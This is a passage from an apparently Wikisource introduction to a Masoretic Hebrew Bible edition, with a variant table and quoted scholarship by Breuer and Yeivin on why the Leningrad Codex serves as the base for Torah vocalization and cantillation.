|פרשה פתוחה
|ספק פרשה סתומה בכתר ארם צובה
|- align=center bgcolor=&quot;lime&quot;
|[[שמות לד/טעמים#לד ז|שמות לד, ז]]
|[[פרשת כי תשא/טעמים#לד ז|כי תשא]]
|נו&quot;ן של נֹצֵ֥ר‏
|נו&quot;ן רגילה
|נו&quot;ן רגילה
|נו&quot;ן גדולה
|נו&quot;ן גדולה
|בספרי תימן נֹצֵ֥ר בנו&quot;ן רגילה
|- align=center bgcolor=&quot;lime&quot;
|[[ויקרא ו/טעמים#ו ב|ויקרא ו, ב]]
|[[פרשת צו/טעמים#ו ב|צו]]
|מ&quot;ם של מוֹקְדָ֨הֿ
|
|מ&quot;ם רגילה
|מ&quot;ם קטנה
|מ&quot;ם קטנה
|בספרי תימן מוֹקְדָ֨הֿ במ&quot;ם רגילה
|- align=center bgcolor=&quot;yellow&quot;
|[[ויקרא ז/טעמים#ז כב|ויקרא ז, כב]]
|[[פרשת צו/טעמים#ז כב|צו]]
|וַיְדַבֵּ֥ר... דַּבֵּ֛ר...&lt;br&gt;כָּל־חֵ֜לֶב
|פרשה פתוחה&lt;br&gt;(כנראה)
|פרשה פתוחה
|אין פרשה
|פרשה פתוחה
|אין פרשה בספרי ספרד ואשכנז
|- align=center bgcolor=&quot;yellow&quot;
|[[ויקרא ז/טעמים#ז כח|ויקרא ז כח]]
|[[פרשת צו/טעמים#ז כח|צו]]
|וַיְדַבֵּ֥ר...דַּבֵּ֛ר...&lt;br&gt;הַמַּקְרִ֞יב
|פרשה פתוחה
|אין פרשה
|פרשה פתוחה
|פרשה פתוחה
|אין פרשה בספרי תימן
|- align=center bgcolor=&quot;red&quot;
|[[ויקרא יט/טעמים#יט טז|ויקרא יט, טז]]
|[[פרשת קדושים/טעמים#יט טז|קְדֹשִׁים]]
|רֵעֶ֑(י)ךָ
|רֵעֶ֑יךָ
|רֵעֶ֑ךָ
|רֵעֶ֑ךָ
|רֵעֶ֑ךָ
|בכתר ארם צובה היה כתוב רֵעֶ֑יךָ
|- align=center bgcolor=&quot;red&quot;
|[[במדבר א/טעמים#א יז|במדבר א, יז]]
|[[פרשת במדבר/טעמים#א יז|במדבר]]
|בְּשֵׁמֽ(וֹ)ת
|בְּשֵׁמֹֽת
|בְּשֵׁמֹֽת
|בְּשֵׁמֽוֹת
|בְּשֵׁמֹֽת
|בספרי ספרד ואשכנז בְּשֵׁמֽוֹת
|- align=center bgcolor=&quot;red&quot;
|[[במדבר י/טעמים#י י|במדבר י, י]]
|[[פרשת בהעלותך/טעמים#י י|בהעלֹתך]]
|חָדְשֵׁ[י]כֶם֒
|חָדְשֵׁיכֶם֒
|חָדְשֵׁיכֶם֒
|חָדְשֵׁכֶם֒
|חָדְשֵׁיכֶם֒
|בספרי ספרד ואשכנז חָדְשֵׁכֶם֒
|- align=center bgcolor=&quot;red&quot;
|[[במדבר כב/טעמים#כב ה|במדבר כב, ה]]
|[[פרשת בלק/טעמים#כב ה|בלק]]
|בְּע֗(וֹ)ר
|בְּעֹ֗ר?{{הערה|1=יש כאן עדויות חולקות, ואולם נראה שעדיפה העדות המפורשת המגובה בעדות המושלמת (בכל מקום אחר) של ספרי תימן=בְּעֹ֗ר, לעומת העדות שבשתיקה של א(ס)=בְּע֗וֹר. למידע מלא והפניות, ראו בהערת הנוסח על [[במדבר כב/הערות נוסח#כב ה|במדבר כב,ה]].}}
|בְּעֹ֗ר
|בְּע֗וֹר
|בְּעֹ֗ר
|בספרי ספרד ואשכנז בְּע֗וֹר
|- align=center bgcolor=&quot;lime&quot;
|[[במדבר כה/טעמים#כה י|במדבר כה, י]]
|[[פרשת פינחס/טעמים#כה י|פינחס]]
|יו&quot;ד של פִּֽינְחָ֨ס
|פִּֽינְחָ֨ס&lt;br&gt;(אות רגילה)
|פִּֽינְחָ֨ס&lt;br&gt;(אות רגילה)
|נהוג לכתוב ביו&quot;ד זעירא&lt;ref&gt;מקור המנהג בספר הזוהר, ואין לו שום תימוכין בספרות המסורה. חכמי המסורה האחרונים הזכירו אותו אבל לא קיבלו אותו, כגון המנחת שי שכתב: '''פינחס.''' פרשה פתוחה. אמרו בזוהר כאן וגם בפרשת &quot;אחרי מות&quot; כי &quot;פינחס&quot; זה ביו&quot;ד זעירא, ושהיא מאלפ&quot;א בית&quot;א דאתוון זעירן. אך בכל הספרים והמסרות ובאלפ&quot;א בית&quot;א שלנו מאותיות זעירות, לא נמצא רק י' ד&quot;צור ילדך תשי&quot;. עוד משמע מהזוהר כי פה בלבד פינחס מלא יו&quot;ד. והרמ&quot;ה ז&quot;ל כתב: &quot;ותלד לו את פינחס&quot; מלא יו&quot;ד, וכל אוריתא דכותיה מלא. עד כאן לשונו. וכן נמצא בכל הספרים והמסרות. ובעל אור תורה האריך לבאר הזוהר שלא יהיה נגד ספרינו. ואנכי לא ידעתי בנסתרות ממני. '''עד כאן לשון המנחת שי.''' אבל היו&quot;ד הזעירא נמצאת בפועל ברוב ספרי התורה הנפוצים בימינו, וברבים מהחומשים המודפסים אף מציינים שהיו&quot;ד הזעירא היא &quot;על פי המסורה&quot;. וראו עוד גם בהערה 45 [http://lib.cet.ac.il/pages/item.asp?item=18503 במאמר זה] מאת פרופ' ישעיהו מאורי.&lt;/ref&gt;
|פִּֽינְחָ֨ס (אות רגילה)
|בספרי ספרד ואשכנז נהוג לכתוב פִּֽ{{אות-ק|י}}נְחָ֨ס ביו&quot;ד זעירא
|- align=center bgcolor=&quot;lime&quot;
|[[במדבר כה/טעמים#כה יב|במדבר כה, יב]]
|[[פרשת פינחס/טעמים#כה יב|פינחס]]
|וי&quot;ו של שָׁלֽוֹם
|שָׁלֽוֹם&lt;br&gt;(אות רגילה)
|שָׁלֽוֹם&lt;br&gt;(אות רגילה)
|וי&quot;ו קטיעא
|שָׁלֽוֹם&lt;br&gt;(אות רגילה)
|בספרי ספרד ואשכנז וי&quot;ו קטיעא
|- align=center bgcolor=&quot;lime&quot;
|[[דברים יא/טעמים#יא כא|דברים יא, כא]]
|[[פרשת עקב/טעמים#יא כא|עקב]]
|צד&quot;י של הָאָֽרֶץ
|
|צד&quot;י גדולה
|צד&quot;י רגילה
|צד&quot;י רגילה
|בספרי תימן הָאָֽרֶ{{אות-ג|ץ}} בצד&quot;י גדולה
|- align=center bgcolor=&quot;lime&quot;
|[[דברים כב/טעמים#כב ו|דברים כב, ו]]
|[[פרשת כי תצא/טעמים#כב ו|כי תצא]]
|קו&quot;ף של קַן־צִפּ֣וֹר
|
|קו&quot;ף גדולה
|קו&quot;ף רגילה
|קו&quot;ף רגילה
|בספרי תימן {{אות-ג|קַ}}ן בקו&quot;ף גדולה
|- align=center bgcolor=&quot;red&quot;
|[[דברים כג/טעמים#כג ב|דברים כג, ב]]
|[[פרשת כי תצא/טעמים#כג ב|כי תצא]]
|דַּכָּ֛א / דַּכָּ֛ה
|דַּכָּ֛א
|דַּכָּ֛א
|דַּכָּ֛ה
|דַּכָּ֛א
|בספרי ספרד ורוב ספרי אשכנז דַּכָּ֛ה
|- align=center bgcolor=&quot;yellow&quot;
|[[דברים כז/טעמים#כז כ|דברים כז, כ]]
|[[פרשת כי תבוא/טעמים#כז כ|כי תבוא]]
|אָר֗וּר שֹׁכֵב֙&lt;br&gt;עִם־אֵ֣שֶׁת אָבִ֔יו
|פרשה סתומה?
|אין פרשה
|אין פרשה
|אין פרשה
|ספק פרשה סתומה בכתר ארם צובה
|- align=center bgcolor=&quot;orange&quot;
|[[דברים לב/טעמים#לב ו|דברים לב, ו]]
|[[פרשת האזינו/טעמים#לב ו|האזינו]]
|{{אות-ג|הַ}}[ ]לְיְהֹוָה֙
|{{אות-ג|הַ}} לְיְהוָה֙
|{{אות-ג|הַֽ}}לְיהֹוָה֙
|{{אות-ג|הַ}} לְיְהֹוָה֙
|{{אות-ג|הַ}} לְיְהֹוָה֙
|בספרי תימן {{אות-ג|הַֽ}}לְיהֹוָה֙ בתיבה אחת
|- align=center bgcolor=&quot;lime&quot;
|[[דברים לג/טעמים#לג כט|דברים לג, כט]]
|[[פרשת וזאת הברכה/טעמים#לג כט|וזאת הברכה]]
|אל&quot;ף של אַשְׁרֶ֨יךָ
|אל&quot;ף רגילה
|אל&quot;ף גדולה
|אל&quot;ף רגילה
|אל&quot;ף רגילה
|בספרי תימן {{אות-ג|אַ}}שְׁרֶ֨יךָ באל&quot;ף גדולה
|}

==מסורת הסופרים בתורה: מהדורת כתיב (אותיות בלבד)==

ראו: [[מקרא על פי המסורה/תורה כתיב|'''התורה לפי מסורת הסופרים''' (באותיות של כתיב בלבד)]].

==רמת הדיוק בנוסח הניקוד והטעמים לעומת נוסח האותיות==

יש הבדל עקרוני בין מסורת '''הקריאה''' (דהיינו ההגייה והנגינה) המשתקפת בכתבי־היד לבין מסורת '''הכתיבה''' הנמצאת בהם: נוסח '''האותיות''' בכתבי־היד איננו אחיד כלל, אבל '''ניקוד התיבות והטעמתן''' אחיד בכמעט כל מקום. ממצאיו של ברויאר מראים שנוסח הטעמים היוצא מכתבי־היד יציב להפליא, ואף בנוסח המקובל שבדפוסים איננו מוצאים שינויים רבים בעלי חשיבות; נוסח הדפוסים עולה בדיוקו אפילו על חלק מכתבי־היד בטעמיו. ודבר דומה נכון גם לגבי הניקוד: הנוסח בכתבי־היד יציב ואחיד, ואין בו מחלוקות עקרוניות; ואילו בנוסח המקובל שבדפוסים מספר השינויים אמנם ניכר, אבל הוא לא גדול במיוחד.

כך תיאר והסביר הרב ברויאר את ההתפתחות ההיסטורית שיוצאת מתוך השוואה בין שני התחומים השונים (האותיות מול הניקוד והטעמים), בסיכום הנפלא (והמהפכני בשעתו) שכתב ע&quot;פ ממצאיו:{{הערה|'''כתר ארם צובה והנוסח המקובל של המקרא''', עמ' 91-94. הבאנו את דברי ברויאר בהרחבה בגלל חשיבותם החינוכית הרבה, ותרומתם הגדולה להבנת הנושא. אמנם מאותה סיבה קיצרנו אותם באופן חלקי, הוספנו בהם הדגשים, בצענו בהם שינויים קלים ליתר בהירות (בעיקר בפיסוק), וגם השמטנו חלק מהערותיו של ברויאר. לגבי שינוי התפיסה המהפכני שבדבריו הבאים של ברויאר, השוו את דעתו אל הגישה שהייתה מקובלת עד זמנו בין חוקרי המסורה. הללו חשבו אז ש&quot;נוסח המסורה&quot; לא היה ולא נברא בתור נוסח אחד ואחיד בכל פרטיו. גישה זו מתבטאת באריכות ובחריפות ב[https://archive.org/details/introductiontoma0000unse_b9a7/page/n3/mode/2up הקדמתו של אורלינסקי להוצאה מחדש של מהדורת גינצבורג] (עמ' xvi-xxxvii); הקדמה זו נדפסה שוב בתוך: ''The Canon and Masorah of the Hebrew Bible: An Introductory Reader'', ed. Sid Z. Leiman (New York: Ktav, 1974).}}

:נמצא, שכך יש לתאר את נוסח התורה בתקופה שלפני המסורה. קריאת התיבות היתה ברורה ונהירה לכל. ואילו טקסט האותיות – מבחינת חסירות ויתירות – היה עדיין בבחינת בקעה פרוצה. חכמי המסורה מצאו בקעה זו וגדרו בה גדר. וזה היה איפוא תפקידם ביחס לכתיב האותיות וקריאתן: הם לא פסקו איך '''לקרוא''' את האותיות המקובלות – אלא היפוכו של דבר: הם פסקו איך '''לכתוב''' את הקריאה המקובלת.

:'''מבחינה זו קדמה איפוא תורה שבעל פה לתורה שבכתב. חכמי המסורה קיבלו מקודמיהם את הקריאה כתורה שבעל פה – וקבעו לה סימני ניקוד וטעמים. לטקסט זה של התורה שבעל פה קבעו אחר כך את הנוסח הסופי של התורה שבכתב.'''

:משום כך אתה מוצא, שהרוב המכריע של קביעות המסורה מתייחס למלים הגויות – ולא לתיבות כתובות.{{הערה|הערת ברויאר: דבר זה בא לידי ביטוי בין השאר בהתייחסות לתיבה, שיש בה קרי וכתיב: לעולם התיבה נידונה במסורה על פי הקרי, ולא על פי הכתיב.}} '''אין המסורה מתייחסת לצירוף מסויים של אותיות – כדי לקבוע את הדרכים השונות של קריאתן; אלא היא מתייחסת לצירוף של הגאים ותנועות – כדי לקבוע את הדרכים השונות של כתיבתם.''' שכן המלים ההגויות של המקרא הן היסוד שקדם לאנשי המסורה; ליסוד זה נתנו את התיבות הכתובות וקבעו את נוסחן הסופי.{{הערה|הערת ברויאר: אין צריך לומר, שחכמי המסורה לא בדו את הנוסח מלבם, אלא קבעוהו על יסוד הספרים שלפניהם. אולם בדורות שלפני המסורה היה כל סופר מעתיק מן הספר שלפניו, ולא היתה כל הכרעה בין הנוסחות; ואילו חכמי המסורה פסקו הלכה סופית באותה סוגיה.}}

:אין זה איפוא אלא טבעי, שהניקוד הוא אחיד בכתבי היד, ואילו כתיב התיבות שנוי במחלוקת. שתי התופעות האלה אינן אלא המשך למצב שקדם למסורה. עדיין לא נשתכחה התורה שבעל פה המקובלת; ואילו ההורה שבכתב &quot;המחודשת&quot;{{הערה|הערת ברויאר: השוה את לשון השואל בשו&quot;ת הרשב&quot;א סי' רלב: ואין אנחנו חוששין לספרי התלמוד לתקן הספרים לשנותם... ואיך נחוש לספרי המסורה '''חדשים מקרוב באו'''.}} עדיין לא פשטה בכל ישראל. וגם בתקופה הסמוכה לאנשי המסורה עדיין לא היו בקיאים בחסירות וביתירות – ממש כבתקופת התלמוד.{{הערה|הערת ברויאר: ספרים אחדים היוצאים מכלל זה – כגון 'הספר הידוע במצרים' – אינם משנים את התמונה הכללית. הללו לא היד אלא בבחינת מיעוט, והשפעתם לא היתה ניכרת ברוב ישראל. עדים לכך הם דברי רמ&quot;ה בהקדמה לספרו. וראה עוד בהמשך כאן.}}

:על רקע זה יש להעריך את המפעל ההיסטורי של הרמ&quot;ה. מצב הספרים שבימיו מתואר בבהירות בהקדמה לספרו... אך כאן יש להבליט בייחוד את ההשוואה לחכמי התלמוד. וכך הוא טוען: חכמי התלמוד לא היו בקיאים בחסרות ויתרות; &quot;וכל שכן שנתקיים בנו בעונותינו: 'לכן הנני יוסיף להפליא את העם הזה הפלא ופלא, ואבדה חכמת חכמיו ובינת נבוניו תסתתר'...&quot; (מהקדמת הרמ&quot;ה לספר מסורת סייג לתורה).

:אכן עד שלא בא הרמ&quot;ה היה כתיב המסורה בבחינת הלכה ואין עושין כן. '''הסופרים''' המשיכו להעתיק מן הספרים שלפניהם – כדרך שעשו בתקופה שלפני המסורה; נמצא, שעדיין לא היו &quot;בקיאין בחסירות וביתירות&quot;. ואילו '''המסרנים''' רשמו את המסורות – על פי הנוסח שנקבע בידי חכמי המסורה. אך אלה לא נגעו במלאכתם של אלה אלא במקרים נדירים בלבד; כביכול, &quot;אנן בדידן ואינהו בדידהו&quot;.

:'''זו היתה איפוא חשיבות מפעלו של הרמ&quot;ה. הוא קבע את נוסח התורה על פי המסורה – לא כהלכה עיונית – אלא בהוראה מעשית. באותה שעה הוא השלים, לאמיתו של דבר, את מפעל המסורה. בבית מדרשו של הרמ&quot;ה יצא נוסח המסורה מן הכח אל הפעל – ומשם הוא פשט בכל ישראל.'''

:וכך יפה כוחם של הדורות האחרונים אפילו מכוח חכמי התלמוד; שכן &quot;בזמן הזה אנן בקיאין בחסירות ויתירות, אף שבזמן הש&quot;ס לא היו בקיאים, שכבר ישב על מדוכה זו הרמ&quot;ה ז&quot;ל ובירר הכל כשמלה&quot; (אבני נזר, יורה דעה, סימן שנו, סעיף ה). תיאור זה, המובא כאן בשם אחד מגדולי חכמי ההלכה, הוא ציור מדויק של התהליך ההיסטורי. נוסח הכתיב של התורה עדיין לא היה קבוע סופית בתקופת התלמוד. הוא נקבע במשנה עיונית רק על ידי חכמי המסורה. והוא נתקבל למעשה בכל ישראל רק בכוח ההוראה של הרמ&quot;ה.

:'''תהליך הפוך עבר באותו זמן על נוסח הקריאה. נוסח זה היה בתחילה בבחינת תורה שבעל פה, וזו עלולה להשתכח מן הלב. שבטי ישראל התרחקו זה מזה ונדדו מגולה לגולה. הריחוק המקומי הביא בעקבותיו פילוג לשוני. הבדלי המבטאים שבין הארצות השונות הן אות לפילוג הזה.'''

:נדודי ישראל בגלויות אינן הסיבה היחידה להשכחת נוסח הקריאה. שכן ככלי ההתפתחות של כל הלשונות חלים גם על לשון הקודש. וקריאה הנמסרת רק כתורה שבעל פה עלולה להשתנות במרוצת הדורות.{{הערה|הערת ברויאר: המסורות השונות של קריאת המשנה והתלמוד יכולות לשמש דוגמה לכל זה.}}

:'''צדקה עשה הקב&quot;ה עם ישראל, שהעמיד את חכמי הניקוד על אֵם הדרך של היציאה לגלות. הללו הפכו את תורת הקריאה שבעל פה לתורת הניקוד שבכתב. ודרכו של נוסח כתוב לשמור על טהרתו המקורית – יותר מקריאה הנמסרת בעל פה.'''

:'''בהמשך הדורות נתהפך איפוא היחס שבין קריאה לניקוד. חכמי המסורה היו מנקדים על פי הקריאה שבעל פה; הדורות המאוחרים היו קוראים על פי הניקוד שבכתב.'''

:אולם גם הניקוד הכתוב לא היה מובטח מפני תהפוכות ושינויים. שכן דרכי הניקוד – בניגוד לדרכי הכתיב – תלויות בכללי הדקדוק. והללו פועלים לעתים קרובות בכיוון להשכחת מסורת הקריאה. זאת ועוד: סימנים הדומים זה לזה מבחינה גרפית עלולים להתחלף זה בזה; ויש להביא בחשבון גם את האפשרות של טעויות סופר גרידא. אף זו: יש להניח, שגם בתקופות מאוחרות לא נשתכח טיבם המקורי של הנקדנים – המנקדים על פי מסורת הקריאה שבעל פה. וכך נוצרה זיקת גומלין בין קריאה לניקוד: משהתפתחה והשתנתה מסורת הקריאה, נשתנו גם סימני הניקוד; והשינויים שחלו בניקוד הביאו לידי שינויים בדרכי הקריאה.

:עבודתם השקודה של חכמי האחרונים – מאו&quot;ת ומ&quot;ש ועד רש&quot;ד ורוו&quot;ה – עצרה בסופו של דבר גם את התהליך הזה. נקבעו נוסחות של ניקוד, כדרך שנקבע בשעתו נוסח הכתיב. נוסחות אלה אינן זהות בכל מקום עם הנוסח המקורי של המסורה. מהן לומד הקורא את תורת הקריאה.

:'''וכך נתהפך עתה היחס שבין מקרא למסורת. לשעבר היו המלים ההגויות בחזקת נתון קבוע; על פיהן ניקד הנקדן, והמסרן קבע להן את כתיב המסורה; אלא שכתיב זה עדין לא פשט בכל ישראל. עתה כבר נתהפכה הקערה על פיה. כתיב המסורה הוא בחזקת נתון קבוע, והוא פשט בכל ישראל; לכתיב זה מוסיף הנקדן את הניקוד על פי מסורת הניקוד שנקבעה לאחרונה; והתיבות המנוקדות הופכות בפי הקורא למלים הגויות. אך הללו אינן זהות בכל מקום עם מסורת הקריאה המקורית.'''

:זו משמעות התופעות, שעמדנו עליהן כאן. ויש לכך לא רק חשיבות עיונית, – אלא גם תוצאה מעשית. שכן בדורנו נעשים ניסיונות שונים להחזיר למקרא את נוסח המסורה – על יסוד כתבי היד שנתגלו לאחרונה; זאת מתוך הנחה, שנוסח המקרא התפתח ונשתנה מאז תקופת המסורה. אולם בעניין זה יש להסיק שתי מסקנות מן הדברים שנתבארו כאן.

:בנוסח הניקוד חלו באמת שינויים מסוימים; הללו טעונים הגהה – אם מבקשים לחזור אל הנוסח המקורי על פי המסורה. אולם שינויים אלה הם מועטים יחסית...

:גם בנוסח הכתיב חלו שינויים – בהשוואה אל כתבי היד. אך הללו אינם טעונים הגהה, אם מבקשים לחזור אל הנוסח על פי המסורה. שכן הנוסח המקובל בישראל – נוסח רמ&quot;ה-או&quot;ת ובייחוד נוסח יהודי תימן – הוא הוא הנוסח המקורי על פי המסורה. כל חזרה אל נוסח אחד מכתבי היד יש בה משום נסיגה, המתעלמת מן ההישגים שהושגו על ידי חכמי ישראל. דבר אין לה ולהחזרת כתיב המסורה לקדמתו.

נראה אם כן ש'''מסורת הקריאה''' של בעלי המסורה הטברנים, המתועדת במערכות הניקוד והטעמים שבכתר ובכתבי־היד הקרובים לו, הייתה ידועה וקבועה להם כבר מראש, עוד לפני שרשמו את סימני הניקוד והטעמים. בעלי המסורה לא ניקדו והטעימו על פי טופס מקרא שלפניהם, אלא על פי מסורת הקריאה והנגינה השגורה על פיהם. הנקדנים היו בקיאים בהגיית המלים ובנגינתן, ועל פיהן ניקדו והטעימו את התיבות שלפניהם. משום כך אין כמעט מחלוקות משמעותיות וקשות להכרעה ביניהם ביחס לטעמים ולעיקרי הניקוד.{{הערה|ע&quot;פ ברויאר, עמ’ 67. קביעה זאת מתבררת לא רק מתוך האחידות הכללית השוררת בין כתבי היד בנוגע לניקוד ולטעמים, אלא אף מהסוגים המסוימים של הטעויות בכתבי־היד הפחות מדויקים. ממצאיו של ברויאר מראים שהסטיות בהטעמתם של כתי&quot;ל וכתי&quot;ש כמעט ולא קיימות בתורה, לעומת כתי&quot;ב וכתי&quot;ש1, שבהם הן יחסית מרובות: &quot;ב'''ב''' מרובים המקרים שבהם הנקדן החליף בהם טעמיהם של פסוקים דומים; ואילו סטיות מסוג זה מועטות ב'''ש1'''. כנגד זה ב'''ש1''' יש מקרים לא מועטים, שהנקדן נמשך בהם אחרי שיגרת נגינת הטעמים – או צירף טעמים בניגוד לכללי היסוד של סמיכות הטעמים; ואילו סטיות מסוג זה מועטות מאוד ב'''ב'''&quot; (ברויאר, שם). נראים הדברים אם כן שגם דיוקם הרבה של כתי&quot;ל וכתי&quot;ש בתחום הנגינה מצד אחד, וגם סוג הסטיות בטעמים בכתי&quot;ב ובכתי&quot;ש1 מצד שני, מעידים כאחד שנקדני כתבי־היד ניקדו על פי מסורת הקריאה והנגינה השגורה בפיהם. אותו דבר מתברר היטב גם בתחום של הניקוד, שבו ארבעת כתבי־היד '''ל, ב, ש, ש1''' אחידים כמעט בכל מקום (ראו בסיכום שם, עמ' 45).}}

לכן מהדורת מקרא המבוססת על הכתר וכתבי־היד הקרובים לו תהיה נציגה נאמנה למסורת הקוראים הטברנית, בכללה ופרטיה.

==מסורת הקוראים בתורה: כתי&quot;ל כבסיס לניקוד ולטעמים==

בספרו '''כתר ארם צובה: ניקודו וטעמיו''' השווה פרופ’ ישראל ייבין את הניקוד והטעמים שבכתר אל כתבי־היד הקרובים לו והרחוקים ממנו (ואף למנהגי הדפוסים). בסוף ספרו סיכם:

:מכל זה מסתבר, שיש להעדיף את '''ל''' מכל כתבי־היד האחרים הקרובים ל'''א''', הן במקום ש'''א''' חסר, הן במקום שרצויה עדות מסייעת, הן להשוואת שיטתו לשיטת '''א'''.{{הערה|ייבין, נו.3 עמ' 358.}}

גם הרב ברויאר, בעקבות ייבין, הגיע לאותה מסקנה בממצאיו, דהיינו שלהעתיק את הניקוד והטעמים מתוך כתי&quot;ל זה כמעט כמו להעתיק את הניקוד והטעמים מתוך הכתר עצמו. ואף מהדירי '''מקראות גדולות הכתר''' אימצו את מסקנותיהם הקודמות של ייבין וברויאר, ובחרו בכתי&quot;ל בתור הכלי הראשון במעלה לשחזור נוסח הניקוד והטעמים בכתר בחלקיו החסרים: &quot;...כ&quot;י '''ל''', שנוסח הניקוד והטעמים שלו במקרא כולו הוא הקרוב ביותר לנוסח ה'כתר' מכל כתבי היד הידועים לנו&quot;.{{הערה|עמ' 69*.}} ואף העירו ש&quot;בדיקותינו בקטגוריות שונות של ניקוד וטעמים בעשרות כתבי יד של ימי הביניים חוזרות ומאשרות מסקנה זו.&quot;{{הערה|הערה 227 (עמ' 97*). אמנם חובה לציין כאן שמסקנה זו תקפה לגבי מערכת הניקוד והטעמים בכתי&quot;ל באופן כללי, אבל לא לגבי שני פרטים ספציפיים שיוצאים מן הכלל, ולא הגיעו לידי קביעה עקבית וסופית בכתבי־היד הקרובים לכתר ואף לא בתוך הכתר עצמו: חטפים באותיות לא גרוניות (במערכת הניקוד) ונוסח הגעיות (במערכת הטעמים). למדיניות במהדורתנו לגבי חטפים באותיות לא גרוניות ראו [[ויקיטקסט:מבוא למקרא על פי המסורה/פרק ב#חטפים באותיות לא גרוניות|בפרק השני של המבוא]], ולגבי נוסח הגעיות במהדורתנו ראו [[#סימון הגעיה (המתג)|להלן בפרק זה]].}}

כתי&quot;ל יהיה אם כן הבסיס העיקרי במהדורתנו לניקוד ולטעמים בתורה (ובשאר החלקים החסרים בכתר), ע&quot;פ שיטת ייבין שכבר בוצעה למעשה במהדורות ברויאר{{הערה|ועל פיהן גם במהדורה הדיגיטלית של &quot;מכון ממרא&quot;.}} וב'''מקראות גדולות הכתר'''. אמנם גם יש בכל זאת תופעות חריגות בניקוד ובטעמים שבכתי&quot;ל שיש לתקן אותן על ידי מקורות נוספים או לעצב אותן לפי שיטת מהדורתנו, ואלה יפורטו בשני תתי-הסעיפים הבאים.

===הערכת הדיוק בנוסח הניקוד בכתי&quot;ל===

לפי ייבין, שיטת הניקוד בכתי&quot;ל דומה להפליא לניקוד שבכתר, ואולם רמת דיוקו פחות מושלמת: &quot;'''ל''' נכתב בקפדנות והוא מדויק למדי, אך נופל קצת מבחינה זו מ'''אק'''. יש בו טעויות־סופר קצת יותר מאשר ב'''א'''... בניקוד הוא דומה ברוב ענייניו ל'''א''', אלא שמעטים בו חטפים באותיות לא־גרוניות וכן שונה דרכו בניקוד כתיב וקרי...&quot;.{{הערה|נו.3 (עמ' 358).}} על פי זה קבע שיש להעדיף את כתי&quot;ל לשחזור הניקוד והטעמים שבכתר. ובכל זאת יש לעמוד על המיעוט הקטן של שינויים מובהקים בניקוד, שבהם שונה שונה כתי&quot;ל מהכתר ושאר כתבי־היד הקרובים לו, וכן על טעויות הסופר בו שהם &quot;קצת יותר מאשר ב'''א'''&quot;.

'''שינויים מובהקים בניקוד:''' מתוך מאות האלפים של סימני הניקוד בתורה,{{הערה|לפי נתוני [http://tanach.us/Supplements/Statistics.xml#CharacterTypes הסטטיסטיקה במהדורת וסטמינסטר] יש 257,838 סימני ניקוד בתורה, ו-1,000,912 בכל התנ&quot;ך. כשמדובר בכמות כזאת, מתברר שהדוגמאות של השינויים המובהקים שנביא כאן, ואפילו כמה מאות של טעויות סופר, אינן גורעות כלל מהתיאור של כתי&quot;ל ככתב־יד מדויק מאוד. ובכל זאת רמת דיוקו אינה מגיעה לדיוק הכמעט מושלם שבכתר ארם צובה.}} בכתבי־היד הטברנים הקרובים לכתר יש הבדלים מובהקים, המבטאים עדות לקריאה שונה, במקומות אחדים בלבד בתורה. ובכמעט כל מקום (חוץ מאחד), שונה גרסתו של כתב־יד חריג אחד מחבריו. ברויאר הביא את הדוגמאות הבאות:{{הערה|א.1-3 (עמ' 35). במשך עבודת ההגהה על התורה מצאנו מעט דוגמאות נוספים, וציינו אותן בתיעוד הנוסח. במשך הזמן כשנעבור על התיעוד, נוסיף אותן לרשימה זו.}}
*בשני מקומות ([[בראשית מא/טעמים#מא נ|בראשית מא,נ]]; [[דברים לא/טעמים#לא כא|דברים לא,כא]]) יש מחלוקת בין כתבי־היד לגבי קמץ ופתח, ושתיהן תלויות במחלוקת בן־אשר ובן־נפתלי. במקרה הראשון ([[בראשית מא/טעמים#מא נ|בראשית מא,נ]]) מביא כתי&quot;ל את נוסח בן־אשר בדומה לרוב כתבי־היד (מלבד ש). במקרה השני ([[דברים לא/טעמים#לא נ|דברים לא,כא]]) תומכים שני כתבי־היד (ל, ש1) בנוסח בן־נפתלי, ושני כתבי־יד (א, ש) בנוסח בן־אשר. בשני המקומות ציינו את המחלוקות ואת הנתונים המלאים בתוך תיעוד הנוסח.
*יש בכתי&quot;ל ניקוד חריג, באופן מודע וכנראה לפי מסורת הגייה מיוחדת (ולא טעות סופר), בעוד שלוש תיבות בתורה, בניגוד לשאר כתבי־היד: [[ויקרא כו/טעמים#כו לד|ויקרא כו,לד]]; [[ויקרא כו/טעמים#כו לה|ויקרא כו,לה]]; [[דברים כב/טעמים#כב כט|דברים כב,כט]]. בשלושת המקומות ציינו את המחלוקות ואת הנתונים המלאים בתוך תיעוד הנוסח.
*בנוסף לכך ציין ברויאר מספר תופעות לגבי דגשים בכתי&quot;ל ו/או בכתי&quot;ש, שנראה שיש בהן עניין של נטייה או שיטה.{{הערה|שם, א.4-9 (עמ' 35-37).}} הערנו עליהן במקומן בתיעוד הנוסח, וראוי להזכיר אחת מהן: סימון כפול של קובוץ ושורוק בתיבה שיש בה א' נחה (הרֻאוּבני/לרֻאוּבני/ולרֻאוּבני). תופעה זאת נמצאת בחמש מקומות בכתי&quot;ל בתורה ובספר יהושע ([[במדבר כו/טעמים#כו ז|במדבר כו,ז]]; [[דברים ג/טעמים#ג יב|דברים ג,יב]]; [[דברים ג/טעמים#ג טו|ג,טו]]; [[דברים ד/טעמים#ד מג|ד,מג]]; [[יהושע יב/טעמים#יב ו|יהושע יב,ו]]), ולכן ברור שלא מדובר על סתם טעות סופר, אבל גם אין בה שיטה גמורה כי במקומות אחרים (כגון [[במדבר לד/טעמים#לד יד|במדבר לד,יד]]) הניקוד כמקובל בשורוק בלבד (הראוּבני).

'''ניקוד חריג וטעויות סופר:''' חוץ מעניינים של נטייה או של שיטה, שיש בהם ביטוי של מסורת הגייה מובהקת או של מנהג סופרים מודע, יש גם דוגמאות רבות של ניקוד חריג בכתי&quot;ל שמקורן בטעות סופר גרידא, או שיש בהן כנראה שריד של ניקוד לפי מסורת הגייה שונה (שלא השתרשה לגמרי תוך כדי מלאכת ההגהה בכתב־היד). לפי ייבין, רמת דיוקו הכללית של כתי&quot;ל &quot;נופלת קצת&quot; מזו של כתר ארם צובה, למרות הדמיון המובהק ביניהם בשיטת הניקוד. אבל נראה שהיא נופלת יותר מ&quot;קצת&quot;, למרות שעדיין מדובר על כתב־יד מדויק מאוד. שהרי בכתי&quot;ל יש מאות רבות של טעויות, למרות שהוא עדיין מדויק מאוד; ואילו כתר ארם צובה מהווה יצירה כמעט־מושלמת.
*פתח וסגול (שריד של מסורת ההגייה הבבלית)
